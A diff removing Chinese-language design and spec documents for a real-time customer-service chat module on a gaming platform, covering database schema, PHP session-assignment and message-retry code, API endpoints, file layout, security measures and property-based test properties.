### 2.1 表结构 (最终版)
```sql
-- 客服会话表
CREATE TABLE `cg_chat_session` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL COMMENT '用户ID',
`admin_id` int(10) unsigned DEFAULT NULL COMMENT '客服ID',
`source` tinyint(1) NOT NULL DEFAULT '1' COMMENT '来源: 1=PC 2=Game 3=Portal',
`status` tinyint(1) NOT NULL DEFAULT '0' COMMENT '状态: 0=待分配 1=进行中 2=已结束',
`rating` tinyint(1) DEFAULT NULL COMMENT '评分: 1-5',
`rating_content` varchar(500) DEFAULT NULL COMMENT '评价内容',
`last_msg_id` bigint(20) unsigned DEFAULT NULL COMMENT '最后消息ID(雪花)',
`last_msg_time` int(10) unsigned DEFAULT NULL COMMENT '最后消息时间',
`create_time` int(10) unsigned NOT NULL,
`update_time` int(10) unsigned NOT NULL,
`end_time` int(10) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `idx_user_status` (`user_id`, `status`),
KEY `idx_admin_status` (`admin_id`, `status`),
KEY `idx_status_create` (`status`, `create_time`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服会话表';
-- 聊天消息表
CREATE TABLE `cg_chat_message` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`msg_id` bigint(20) unsigned NOT NULL COMMENT '消息ID(雪花算法)',
`session_id` int(10) unsigned NOT NULL COMMENT '会话ID',
`sender_type` tinyint(1) NOT NULL COMMENT '发送者类型: 1=用户 2=客服',
`sender_id` int(10) unsigned NOT NULL COMMENT '发送者ID',
`msg_type` tinyint(1) NOT NULL DEFAULT '1' COMMENT '消息类型: 1=文字 2=图片',
`content` varchar(500) NOT NULL COMMENT '消息内容(文字或图片URL)',
`status` tinyint(1) NOT NULL DEFAULT '0' COMMENT '状态: 0=pending 1=sent 2=delivered 3=read 4=failed',
`retry_count` tinyint(1) NOT NULL DEFAULT '0' COMMENT '重试次数',
`create_time` int(10) unsigned NOT NULL,
`delivered_time` int(10) unsigned DEFAULT NULL,
`read_time` int(10) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `uk_msg_id` (`msg_id`),
KEY `idx_session_id` (`session_id`, `id`),
KEY `idx_session_status` (`session_id`, `status`),
KEY `idx_sender` (`sender_type`, `sender_id`, `create_time`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='聊天消息表';
-- 快捷回复表
CREATE TABLE `cg_chat_quick_reply` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`category` varchar(50) DEFAULT NULL COMMENT '分类',
`title` varchar(100) NOT NULL COMMENT '标题',
`content` text NOT NULL COMMENT '内容',
`sort` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '排序',
`status` tinyint(1) NOT NULL DEFAULT '1' COMMENT '状态: 0=禁用 1=启用',
`create_time` int(10) unsigned NOT NULL,
`update_time` int(10) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `idx_category_status` (`category`, `status`, `sort`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='快捷回复表';
-- 客服状态表 (辅助表,主状态在Redis)
CREATE TABLE `cg_chat_admin_status` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`admin_id` int(10) unsigned NOT NULL COMMENT '客服ID',
`max_sessions` int(10) unsigned NOT NULL DEFAULT '10' COMMENT '最大会话数',
`is_enabled` tinyint(1) NOT NULL DEFAULT '1' COMMENT '是否启用客服功能',
`last_online_time` int(10) unsigned DEFAULT NULL,
`create_time` int(10) unsigned NOT NULL,
`update_time` int(10) unsigned NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `uk_admin_id` (`admin_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服状态配置表';
```
### 2.2 索引设计说明
| 表 | 索引 | 用途 |
|----|------|------|
| cg_chat_session | `idx_user_status` | 查询用户活跃会话 |
| cg_chat_session | `idx_admin_status` | 查询客服进行中会话 |
| cg_chat_message | `uk_msg_id` | 消息幂等性校验 |
| cg_chat_message | `idx_session_id` | 按会话查询消息(分页) |
| cg_chat_message | `idx_session_status` | 查询会话未读消息 |
---
## 3. 核心算法设计
### 3.1 雪花算法 (消息ID生成)
```php
// app/utils/Snowflake.php
class Snowflake
{
private const EPOCH = 1704067200000; // 2024-01-01 00:00:00 UTC
private const WORKER_ID_BITS = 5;
private const DATACENTER_ID_BITS = 5;
private const SEQUENCE_BITS = 12;
private $workerId;
private $datacenterId;
private $sequence = 0;
private $lastTimestamp = -1;
public function __construct(int $workerId = 1, int $datacenterId = 1)
{
$this->workerId = $workerId & 0x1F; // 5 bits
$this->datacenterId = $datacenterId & 0x1F; // 5 bits
}
public function nextId(): int
{
$timestamp = $this->currentTimeMillis();
if ($timestamp === $this->lastTimestamp) {
$this->sequence = ($this->sequence + 1) & 0xFFF; // 12 bits
if ($this->sequence === 0) {
$timestamp = $this->waitNextMillis($this->lastTimestamp);
}
} else {
$this->sequence = 0;
}
$this->lastTimestamp = $timestamp;
return (($timestamp - self::EPOCH) << 22)
| ($this->datacenterId << 17)
| ($this->workerId << 12)
| $this->sequence;
}
private function currentTimeMillis(): int
{
return (int)(microtime(true) * 1000);
}
private function waitNextMillis(int $lastTimestamp): int
{
$timestamp = $this->currentTimeMillis();
while ($timestamp <= $lastTimestamp) {
$timestamp = $this->currentTimeMillis();
}
return $timestamp;
}
}
```
### 3.2 会话分配算法 (最少会话数 + 分布式锁)
```php
// app/services/chat/AssignService.php
class AssignService
{
private const LOCK_TTL = 3000; // 3秒
private const LOCK_PREFIX = 'cs:lock:assign:';
private const ONLINE_PREFIX = 'cs:online:agent:';
private const LOAD_PREFIX = 'cs:agent:load:';
/**
* 分配会话给客服
* @param int $userId 用户ID
* @param int $sessionId 会话ID
* @return int|null 分配的客服IDnull表示无可用客服
*/
public function assignSession(int $userId, int $sessionId): ?int
{
$redis = $this->getRedis();
$lockKey = self::LOCK_PREFIX . $userId;
// 1. 获取分配锁 (防止并发双分配)
$lockValue = uniqid('', true);
$acquired = $redis->set($lockKey, $lockValue, ['NX', 'PX' => self::LOCK_TTL]);
if (!$acquired) {
// 锁被占用,检查是否已有活跃会话
return $this->getExistingSessionAgent($userId);
}
try {
// 2. 检查用户是否已有活跃会话
$existingAgent = $this->getExistingSessionAgent($userId);
if ($existingAgent !== null) {
return $existingAgent;
}
// 3. 获取所有在线客服
$onlineAgents = $this->getOnlineAgents($redis);
if (empty($onlineAgents)) {
// 无在线客服,进入留言队列
$this->addToOfflineQueue($userId, $sessionId);
return null;
}
// 4. 选择会话数最少的客服
$selectedAgent = $this->selectLeastLoadAgent($redis, $onlineAgents);
if ($selectedAgent === null) {
// 所有客服已满载
$this->addToOfflineQueue($userId, $sessionId);
return null;
}
// 5. 更新会话归属
$this->bindSessionToAgent($sessionId, $selectedAgent, $redis);
// 6. 增加客服负载计数
$redis->incr(self::LOAD_PREFIX . $selectedAgent);
return $selectedAgent;
} finally {
// 释放锁 (仅释放自己持有的锁)
$this->releaseLock($redis, $lockKey, $lockValue);
}
}
private function selectLeastLoadAgent(Redis $redis, array $onlineAgents): ?int
{
$loads = [];
foreach ($onlineAgents as $agentId) {
$load = (int)$redis->get(self::LOAD_PREFIX . $agentId) ?: 0;
$maxSessions = $this->getAgentMaxSessions($agentId);
if ($load < $maxSessions) {
$loads[$agentId] = $load;
}
}
if (empty($loads)) {
return null;
}
// 返回负载最小的客服
asort($loads);
return array_key_first($loads);
}
private function releaseLock(Redis $redis, string $key, string $value): void
{
// Lua脚本保证原子性:仅当值匹配时才删除
$script = <<<LUA
if redis.call('get', KEYS[1]) == ARGV[1] then
return redis.call('del', KEYS[1])
else
return 0
end
LUA;
$redis->eval($script, [$key, $value], 1);
}
}
```
### 3.3 消息重试算法 (指数退避)
```php
// app/services/chat/MessageService.php
class MessageService
{
private const MAX_RETRY = 3;
private const RETRY_DELAYS = [1000, 2000, 4000]; // ms
/**
* 推送消息并处理重试
*/
public function pushMessage(int $msgId, int $targetFd, array $payload): bool
{
$redis = $this->getRedis();
$server = $this->getSwooleServer();
for ($retry = 0; $retry <= self::MAX_RETRY; $retry++) {
// 检查目标连接是否有效
if (!$server->isEstablished($targetFd)) {
// 连接已断开,标记为pending等待重连补发
$this->markMessagePending($msgId);
return false;
}
// 尝试推送
$result = $server->push($targetFd, json_encode($payload));
if ($result) {
// 推送成功,更新状态为sent
$this->updateMessageStatus($msgId, 'sent');
return true;
}
// 推送失败,记录重试次数
$this->incrementRetryCount($msgId);
if ($retry < self::MAX_RETRY) {
// 指数退避等待
usleep(self::RETRY_DELAYS[$retry] * 1000);
}
}
// 超过最大重试次数,标记为failed
$this->updateMessageStatus($msgId, 'failed');
return false;
}
}
```
### 3.4 离线队列处理 (余额优先)
```php
// app/services/chat/AssignService.php (续)
class AssignService
{
private const QUEUE_KEY = 'cs:queue:pending';
/**
* 添加到离线队列 (按余额降序)
*/
public function addToOfflineQueue(int $userId, int $sessionId): void
{
$redis = $this->getRedis();
// 获取用户余额
$user = Db::name('user')->where('id', $userId)->find();
$balance = $user['money'] ?? 0;
// ZSET score 使用负余额实现降序 (余额高的先处理)
$score = -$balance;
$member = json_encode(['userId' => $userId, 'sessionId' => $sessionId, 'time' => time()]);
$redis->zAdd(self::QUEUE_KEY, $score, $member);
}
/**
* 客服上线时处理队列
*/
public function processOfflineQueue(int $adminId): void
{
$redis = $this->getRedis();
while (true) {
// 获取队列中优先级最高的会话 (score最小 = 余额最高)
$items = $redis->zRange(self::QUEUE_KEY, 0, 0);
if (empty($items)) {
break; // 队列为空
}
$item = json_decode($items[0], true);
// 检查客服是否还能接单
$currentLoad = (int)$redis->get(self::LOAD_PREFIX . $adminId) ?: 0;
$maxSessions = $this->getAgentMaxSessions($adminId);
if ($currentLoad >= $maxSessions) {
break; // 客服已满载
}
// 尝试分配 (使用分布式锁)
$assigned = $this->assignSession($item['userId'], $item['sessionId']);
if ($assigned === $adminId) {
// 分配成功,从队列移除
$redis->zRem(self::QUEUE_KEY, $items[0]);
// 通知用户会话已被接入
$this->notifyUserSessionAssigned($item['userId'], $item['sessionId'], $adminId);
}
}
}
}
```
---
## 4. 接口设计
### 4.1 Admin 后台 HTTP API
| 接口 | 方法 | 路径 | 说明 |
|------|------|------|------|
| 获取会话列表 | GET | `/admin/chat/sessions` | 支持状态筛选 |
| 获取会话详情 | GET | `/admin/chat/session/{id}` | 包含用户信息 |
| 获取消息历史 | GET | `/admin/chat/messages` | 支持分页、搜索 |
| 结束会话 | POST | `/admin/chat/session/{id}/end` | 手动关闭会话 |
| 转接会话 | POST | `/admin/chat/session/{id}/transfer` | 转给其他客服 |
| 快捷回复列表 | GET | `/admin/chat/quick-replies` | CRUD |
| 添加快捷回复 | POST | `/admin/chat/quick-reply` | - |
| 编辑快捷回复 | PUT | `/admin/chat/quick-reply/{id}` | - |
| 删除快捷回复 | DELETE | `/admin/chat/quick-reply/{id}` | - |
| 客服统计 | GET | `/admin/chat/stats` | 会话数、评分统计 |
| 导出记录 | GET | `/admin/chat/export` | CSV导出 |
### 4.2 用户端 HTTP API
| 接口 | 方法 | 路径 | 说明 |
|------|------|------|------|
| 获取会话状态 | GET | `/api/chat/status` | 检查是否有活跃会话 |
| 上传图片 | POST | `/api/chat/upload` | 返回图片URL |
| 提交评价 | POST | `/api/chat/rate` | 会话评价 |
| 获取历史消息 | GET | `/api/chat/history` | 重连后拉取 |
---
## 5. 文件结构
### 5.1 Socket 模块
```
Socket/app/
├── listener/chat/
│ ├── ChatConnectListener.php # 连接/断开/心跳处理
│ ├── ChatMessageListener.php # 消息收发处理
│ └── ChatSessionListener.php # 会话管理处理
├── services/chat/
│ ├── ChatService.php # 聊天服务入口
│ ├── MessageService.php # 消息服务
│ ├── SessionService.php # 会话服务
│ └── AssignService.php # 分配服务
├── models/
│ ├── ChatSession.php # 会话模型
│ ├── ChatMessage.php # 消息模型
│ └── ChatQuickReply.php # 快捷回复模型
└── utils/
└── Snowflake.php # 雪花算法
```
### 5.2 Pro 模块 (Admin后台)
```
Pro/application/admin/
├── controller/
│ ├── Chat.php # 客服工作台控制器
│ ├── ChatRecord.php # 聊天记录控制器
│ └── ChatQuickReply.php # 快捷回复控制器
└── view/
├── chat/
│ ├── index.html # 客服工作台页面
│ └── record.html # 聊天记录页面
└── chat_quick_reply/
├── index.html # 快捷回复列表
└── add.html # 添加快捷回复
```
### 5.3 前端模块
```
PC/src/components/chat/
├── ChatWindow.vue # 聊天窗口容器
├── ChatHeader.vue # 聊天头部(客服信息/关闭)
├── ChatMessages.vue # 消息列表
├── ChatMessage.vue # 单条消息气泡
├── ChatInput.vue # 输入框+发送
└── ChatRating.vue # 评价组件
Game/src/components/chat/
├── ChatWindow.vue # 聊天窗口(Vant风格)
├── ChatMessages.vue # 消息列表
├── ChatMessage.vue # 消息气泡
└── ChatInput.vue # 输入框
Portal/components/chat/
├── ChatWindow.vue # 聊天窗口(uView风格)
├── ChatMessages.vue # 消息列表
└── ChatInput.vue # 输入框
```
---
## 6. 安全设计
### 6.1 认证与授权
| 场景 | 方案 |
|------|------|
| 用户端WS连接 | 复用HTTP登录TokenWS握手时校验 |
| 客服端WS连接 | 复用Admin Session,额外校验客服权限 |
| 消息发送 | 服务端强制使用鉴权后的身份,禁止伪造senderId |
### 6.2 输入校验
| 字段 | 校验规则 |
|------|----------|
| 文字消息 | 长度≤500,XSS过滤 |
| 图片上传 | MIME白名单(jpg/png/gif),大小≤2MB |
| sessionId | 必须属于当前用户或客服 |
### 6.3 限流
| 维度 | 限制 |
|------|------|
| 消息发送 | 每用户每秒最多5条 |
| 图片上传 | 每用户每分钟最多10张 |
| WS重连 | 每用户每分钟最多10次 |
---
*文档版本: 2.0*
*最后更新: 2026-01-28*
@@ -1,396 +0,0 @@
# OPSX Proposal: 在线客服模块集成
## 变更标识
- **变更ID**: customer-service-module
- **创建日期**: 2026-01-28
- **状态**: SPEC_COMPLETE
---
## 1. 上下文 (Context)
### 1.1 用户需求
在OG Live Gaming Platform的admin后台集成在线客服模块,将PC端和移动端(Game/Portal)的客服功能从外链跳转改为内置实时聊天,所有用户消息统一转发到后台由客服人员回复。
### 1.2 现有实现
- **当前方案**: 外链跳转第三方客服平台
- PC端: `PC/src/components/updateService/update-service.vue` - 通过 `webconfig.customerLink` 跳转
- Portal端: `Portal/pages/user/customservice.vue` - 支持 Telegram/Line 外部链接
- **问题**: 无法统一管理用户咨询,缺乏历史记录追溯
### 1.3 技术环境
| 组件 | 技术栈 | 版本 |
|------|--------|------|
| 后端主服务 | ThinkPHP | 5.x |
| WebSocket服务 | ThinkPHP + Swoole | 6.x |
| PC前端 | Vue.js + Element UI | 2.x |
| Game前端 | Vue.js + Vant | 3.x |
| Portal前端 | uni-app + uView | - |
| 数据库 | MySQL | 5.7 |
| 缓存 | Redis | 5.x |
---
## 2. 约束集合 (Constraint Sets)
### 2.1 硬约束 (Hard Constraints) - 不可违反
| ID | 约束 | 来源 | 影响 |
|----|------|------|------|
| HC-01 | 必须使用现有Socket服务(ThinkPHP 6.x + Swoole)作为WebSocket通信基础 | 架构一致性 | 不能引入新的WebSocket服务 |
| HC-02 | 数据库表必须使用 `cg_` 前缀 | `application/database.php:23` | 表名规范 |
| HC-03 | Admin后台控制器必须继承 `Common` 基类 | `application/admin/controller/Common.php` | 权限控制 |
| HC-04 | 前端API请求必须通过现有封装的HTTP客户端 | 各端API封装 | 接口一致性 |
| HC-05 | 用户认证必须复用现有Session/Token机制 | 安全性 | 不能引入新认证体系 |
### 2.2 软约束 (Soft Constraints) - 建议遵循
| ID | 约束 | 来源 | 建议 |
|----|------|------|------|
| SC-01 | Admin后台UI应使用Layui框架 | 现有后台风格 | 保持视觉一致性 |
| SC-02 | WebSocket事件应遵循现有listener模式 | `Socket/app/listener/` | 代码组织一致 |
| SC-03 | 前端组件命名应遵循各端现有规范 | 代码风格 | PascalCase组件名 |
| SC-04 | 日志记录应使用现有 `insertAdminLog()` 函数 | `application/helper.php` | 审计追踪 |
### 2.3 依赖约束 (Dependencies)
| ID | 依赖项 | 类型 | 说明 |
|----|--------|------|------|
| DC-01 | cg_user 表 | 数据 | 用户信息关联 |
| DC-02 | cg_admin 表 | 数据 | 客服人员账号 |
| DC-03 | Redis | 基础设施 | 在线状态、会话分配 |
| DC-04 | Socket服务 | 服务 | 实时消息推送 |
---
## 3. 需求规格 (Requirements)
### 3.1 功能需求
#### REQ-01: 后台客服工作台
**场景**: 客服人员登录admin后台,进入客服模块
**验收标准**:
- [ ] 显示待接入会话列表(按等待时间排序)
- [ ] 显示当前处理中的会话列表
- [ ] 支持同时处理多个会话(标签页切换)
- [ ] 实时显示新消息通知(声音+视觉提示)
- [ ] 显示用户基本信息(用户名、余额、来源端)
#### REQ-02: 会话自动分配
**场景**: 用户发起客服咨询
**验收标准**:
- [ ] 系统自动将用户分配给当前会话数最少的在线客服
- [ ] 客服离线时,消息进入待分配队列
- [ ] 支持会话转接给其他在线客服
- [ ] 记录会话分配历史
#### REQ-03: 实时消息通信
**场景**: 用户与客服进行对话
**验收标准**:
- [ ] 支持文字消息发送/接收
- [ ] 支持图片消息发送/接收(上传+预览)
- [ ] 消息实时推送(延迟<500ms)
- [ ] 显示消息发送状态(发送中/已送达/已读)
- [ ] 支持消息时间戳显示
#### REQ-04: 离线消息
**场景**: 用户发送消息时客服全部离线,或客服回复时用户已离线
**验收标准**:
- [ ] 离线消息持久化存储
- [ ] 用户/客服上线后自动推送未读消息
- [ ] 显示未读消息数量角标
#### REQ-05: 快捷回复
**场景**: 客服需要快速回复常见问题
**验收标准**:
- [ ] 支持预设快捷回复语管理(增删改)
- [ ] 支持快捷回复分类
- [ ] 一键插入快捷回复内容
#### REQ-06: 聊天记录查询
**场景**: 客服或管理员需要查看历史对话
**验收标准**:
- [ ] 支持按用户名搜索
- [ ] 支持按时间范围筛选
- [ ] 支持按客服人员筛选
- [ ] 支持导出聊天记录
#### REQ-07: 用户信息展示
**场景**: 客服处理会话时需要了解用户背景
**验收标准**:
- [ ] 显示用户账号、昵称
- [ ] 显示用户余额
- [ ] 显示用户来源(PC/Game/Portal
- [ ] 显示用户上级代理信息
- [ ] 显示用户最近下注记录(可选)
#### REQ-08: 会话评价
**场景**: 用户结束咨询后对服务进行评价
**验收标准**:
- [ ] 会话结束后弹出评价窗口
- [ ] 支持1-5星评分
- [ ] 支持文字评价(可选)
- [ ] 后台可查看评价统计
#### REQ-09: 前端客服入口改造
**场景**: 用户在PC/Game/Portal端点击客服按钮
**验收标准**:
- [ ] PC端: 替换外链跳转为内嵌聊天窗口
- [ ] Game端: 添加客服聊天组件
- [ ] Portal端: 替换外链页面为聊天页面
- [ ] 三端UI风格与各自设计语言一致
---
## 4. 数据库设计
### 4.1 新增表结构
```sql
-- 客服会话表
CREATE TABLE `cg_chat_session` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL COMMENT '用户ID',
`admin_id` int(10) unsigned DEFAULT NULL COMMENT '客服ID',
`source` tinyint(1) NOT NULL DEFAULT '1' COMMENT '来源: 1=PC 2=Game 3=Portal',
`status` tinyint(1) NOT NULL DEFAULT '0' COMMENT '状态: 0=待分配 1=进行中 2=已结束',
`rating` tinyint(1) DEFAULT NULL COMMENT '评分: 1-5',
`rating_content` varchar(500) DEFAULT NULL COMMENT '评价内容',
`create_time` int(10) unsigned NOT NULL,
`update_time` int(10) unsigned NOT NULL,
`end_time` int(10) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`),
KEY `admin_id` (`admin_id`),
KEY `status` (`status`),
KEY `create_time` (`create_time`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服会话表';
-- 聊天消息表
CREATE TABLE `cg_chat_message` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`session_id` int(10) unsigned NOT NULL COMMENT '会话ID',
`sender_type` tinyint(1) NOT NULL COMMENT '发送者类型: 1=用户 2=客服',
`sender_id` int(10) unsigned NOT NULL COMMENT '发送者ID',
`msg_type` tinyint(1) NOT NULL DEFAULT '1' COMMENT '消息类型: 1=文字 2=图片',
`content` text NOT NULL COMMENT '消息内容',
`is_read` tinyint(1) NOT NULL DEFAULT '0' COMMENT '是否已读',
`create_time` int(10) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `session_id` (`session_id`),
KEY `sender_type` (`sender_type`),
KEY `is_read` (`is_read`),
KEY `create_time` (`create_time`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='聊天消息表';
-- 快捷回复表
CREATE TABLE `cg_chat_quick_reply` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`category` varchar(50) DEFAULT NULL COMMENT '分类',
`title` varchar(100) NOT NULL COMMENT '标题',
`content` text NOT NULL COMMENT '内容',
`sort` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '排序',
`status` tinyint(1) NOT NULL DEFAULT '1' COMMENT '状态',
`create_time` int(10) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `category` (`category`),
KEY `status` (`status`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='快捷回复表';
-- 客服在线状态表 (Redis辅助)
CREATE TABLE `cg_chat_admin_status` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`admin_id` int(10) unsigned NOT NULL COMMENT '客服ID',
`is_online` tinyint(1) NOT NULL DEFAULT '0' COMMENT '是否在线',
`current_sessions` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '当前会话数',
`max_sessions` int(10) unsigned NOT NULL DEFAULT '10' COMMENT '最大会话数',
`last_active_time` int(10) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `admin_id` (`admin_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='客服状态表';
```
---
## 5. 技术方案
### 5.1 架构图
```
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ PC端 │ │ Game端 │ │ Portal端 │
│ (Vue 2.x) │ │ (Vue 3.x) │ │ (uni-app) │
└──────┬──────┘ └──────┬──────┘ └──────┬──────┘
│ │ │
└────────────────┼────────────────┘
│ WebSocket
┌─────────────────┐
│ Socket服务 │
│ (TP6 + Swoole) │
│ │
│ 新增listener: │
│ - ChatConnect │
│ - ChatMessage │
│ - ChatSession │
└────────┬────────┘
┌─────────────┼─────────────┐
│ │ │
▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ MySQL │ │ Redis │ │ 文件存储 │
│ 消息持久化│ │ 在线状态 │ │ 图片上传 │
└──────────┘ └──────────┘ └──────────┘
┌─────────────────┐
│ Admin后台 │
│ (TP5 + Layui) │
│ │
│ 新增模块: │
│ - Chat控制器 │
│ - 客服工作台 │
│ - 快捷回复管理 │
│ - 聊天记录查询 │
└─────────────────┘
```
### 5.2 WebSocket事件设计
| 事件名 | 方向 | 说明 |
|--------|------|------|
| `chat.connect` | Client→Server | 用户/客服建立聊天连接 |
| `chat.message` | 双向 | 发送/接收消息 |
| `chat.typing` | 双向 | 正在输入状态 |
| `chat.read` | Client→Server | 消息已读回执 |
| `chat.session.new` | Server→Admin | 新会话通知 |
| `chat.session.assign` | Server→Admin | 会话分配通知 |
| `chat.session.transfer` | Admin→Server | 会话转接 |
| `chat.session.end` | 双向 | 会话结束 |
| `chat.admin.online` | Admin→Server | 客服上线 |
| `chat.admin.offline` | Admin→Server | 客服下线 |
### 5.3 文件变更清单
#### Pro模块 (Admin后台)
```
application/admin/controller/
├── Chat.php # 新增 - 客服工作台控制器
├── ChatRecord.php # 新增 - 聊天记录控制器
└── ChatQuickReply.php # 新增 - 快捷回复管理控制器
application/admin/view/
├── chat/
│ ├── index.html # 新增 - 客服工作台页面
│ └── record.html # 新增 - 聊天记录页面
└── chat_quick_reply/
├── index.html # 新增 - 快捷回复列表
└── add.html # 新增 - 添加快捷回复
application/admin/view/index/index.html # 修改 - 添加客服菜单入口
```
#### Socket模块
```
app/listener/chat/
├── ChatConnect.php # 新增 - 聊天连接处理
├── ChatMessage.php # 新增 - 消息处理
└── ChatSession.php # 新增 - 会话管理
app/services/chat/
├── ChatService.php # 新增 - 聊天核心服务
├── SessionService.php # 新增 - 会话分配服务
└── MessageService.php # 新增 - 消息存储服务
app/models/chat/
├── ChatSession.php # 新增 - 会话模型
├── ChatMessage.php # 新增 - 消息模型
└── ChatQuickReply.php # 新增 - 快捷回复模型
```
#### PC端
```
src/components/chat/
├── ChatWindow.vue # 新增 - 聊天窗口组件
├── ChatMessage.vue # 新增 - 消息气泡组件
└── ChatInput.vue # 新增 - 输入框组件
src/components/updateService/
└── update-service.vue # 修改 - 改为打开聊天窗口
```
#### Game端
```
src/components/chat/
├── ChatWindow.vue # 新增 - 聊天窗口组件
├── ChatMessage.vue # 新增 - 消息气泡组件
└── ChatInput.vue # 新增 - 输入框组件
src/components/
└── HallNav.vue # 修改 - 添加客服入口
```
#### Portal端
```
pages/user/
└── customservice.vue # 修改 - 改为聊天页面
components/chat/
├── ChatWindow.vue # 新增 - 聊天窗口组件
└── ChatMessage.vue # 新增 - 消息组件
```
---
## 6. 风险评估
| 风险 | 等级 | 缓解措施 |
|------|------|----------|
| WebSocket连接数过多导致服务压力 | 中 | 实现连接池、心跳检测、自动断开空闲连接 |
| 消息丢失 | 中 | 消息持久化优先、ACK确认机制 |
| 图片上传占用存储 | 低 | 图片压缩、定期清理、可配置存储路径 |
| 客服全部离线时用户体验 | 低 | 显示离线提示、支持留言 |
---
## 7. 成功判据 (Success Criteria)
- [ ] 用户可在PC/Game/Portal三端发起客服咨询
- [ ] 客服可在Admin后台实时接收和回复消息
- [ ] 消息延迟 < 500ms
- [ ] 支持文字和图片消息
- [ ] 离线消息可正常存储和推送
- [ ] 会话自动分配正常工作
- [ ] 聊天记录可查询和导出
- [ ] 快捷回复功能正常
- [ ] 会话评价功能正常
---
## 8. 实施阶段建议
### Phase 1: 基础架构
- 数据库表创建
- Socket服务聊天事件监听器
- 基础消息收发功能
### Phase 2: Admin后台
- 客服工作台UI
- 会话管理
- 快捷回复管理
### Phase 3: 前端改造
- PC端聊天组件
- Game端聊天组件
- Portal端聊天页面
### Phase 4: 增强功能
- 离线消息
- 会话评价
- 聊天记录查询导出
---
*文档版本: 1.0*
*最后更新: 2026-01-28*
@@ -1,248 +0,0 @@
# OPSX Specs: 在线客服模块
## 变更标识
- **变更ID**: customer-service-module
- **版本**: 2.0
- **状态**: SPEC_COMPLETE
- **更新日期**: 2026-01-28
---
## 1. 确认约束 (Confirmed Constraints)
### 1.1 会话分配约束
| 约束ID | 约束 | 值 | 说明 |
|--------|------|-----|------|
| CC-01 | 分配策略 | least-load | 分配给当前会话数最少的在线客服 |
| CC-02 | 分配锁超时 | 3000ms | SET NX PX 3000 防止并发双分配 |
| CC-03 | 单客服最大会话数 | 10 | 超过后不再分配新会话 |
| CC-04 | 分配锁Key | `cs:lock:assign:{userId}` | Redis分布式锁 |
### 1.2 消息机制约束
| 约束ID | 约束 | 值 | 说明 |
|--------|------|-----|------|
| CC-05 | 送达确认 | 两段ACK | server-ack(服务端已接收) + peer-ack(对端已送达) |
| CC-06 | 重试策略 | 3次指数退避 | 间隔: 1s → 2s → 4s,失败后标记failed |
| CC-07 | 消息ID生成 | 雪花算法 | 分布式唯一、有序、高性能 |
| CC-08 | 消息长度限制 | 500字符 | 超过截断或拒绝 |
| CC-09 | 重连拉取上限 | 50条 | 用户重连后最多拉取50条未读消息 |
### 1.3 连接管理约束
| 约束ID | 约束 | 值 | 说明 |
|--------|------|-----|------|
| CC-10 | 心跳间隔 | 30秒 | 客户端每30秒发送ping |
| CC-11 | 离线判定 | 60秒 | 60秒无心跳判定为离线 |
| CC-12 | 事件命名空间 | `chat.*` | 与游戏事件 `game.*` 隔离 |
| CC-13 | 在线状态TTL | 60秒 | Redis Key TTL,心跳续期 |
### 1.4 离线处理约束
| 约束ID | 约束 | 值 | 说明 |
|--------|------|-----|------|
| CC-14 | 离线模式 | 留言模式 | 提示"客服不在线",消息入队待处理 |
| CC-15 | 队列优先级 | 余额优先 | 按用户余额降序处理 |
| CC-16 | 队列Key | `cs:queue:pending` | Redis ZSETscore=用户余额(负数实现降序) |
### 1.5 图片存储约束
| 约束ID | 约束 | 值 | 说明 |
|--------|------|-----|------|
| CC-17 | 存储方式 | 本地文件系统 | `public/uploads/chat/YYYYMMDD/` |
| CC-18 | 大小限制 | 2MB | 2097152 bytes |
| CC-19 | 格式支持 | jpg,png,gif | MIME类型白名单校验 |
### 1.6 会话生命周期约束
| 约束ID | 约束 | 值 | 说明 |
|--------|------|-----|------|
| CC-20 | 自动结束 | 禁用 | 仅支持手动关闭会话 |
| CC-21 | 评价触发 | 手动 | 用户主动点击评价按钮,无弹窗 |
---
## 2. PBT 属性 (Property-Based Testing)
### 2.1 幂等性属性
```
PROPERTY: MessageIdempotency
INVARIANT: ∀ msg1, msg2 ∈ Messages: msg1.msgId = msg2.msgId → DB.count(msgId) = 1
BOUNDARY: 并发发送相同msgId消息
FALSIFICATION:
- 生成随机msgId
- 并发100个goroutine/协程发送相同msgId
- 断言: SELECT COUNT(*) FROM cg_chat_message WHERE msg_id = ? 返回 1
```
### 2.2 会话唯一性属性
```
PROPERTY: SessionUniqueness
INVARIANT: ∀ user ∈ Users: COUNT(sessions WHERE user_id = user AND status = 'active') ≤ 1
BOUNDARY: 用户快速多次发起咨询
FALSIFICATION:
- 选择随机用户
- 并发10个请求创建会话
- 断言: SELECT COUNT(*) FROM cg_chat_session WHERE user_id = ? AND status IN (0,1) 返回 ≤ 1
```
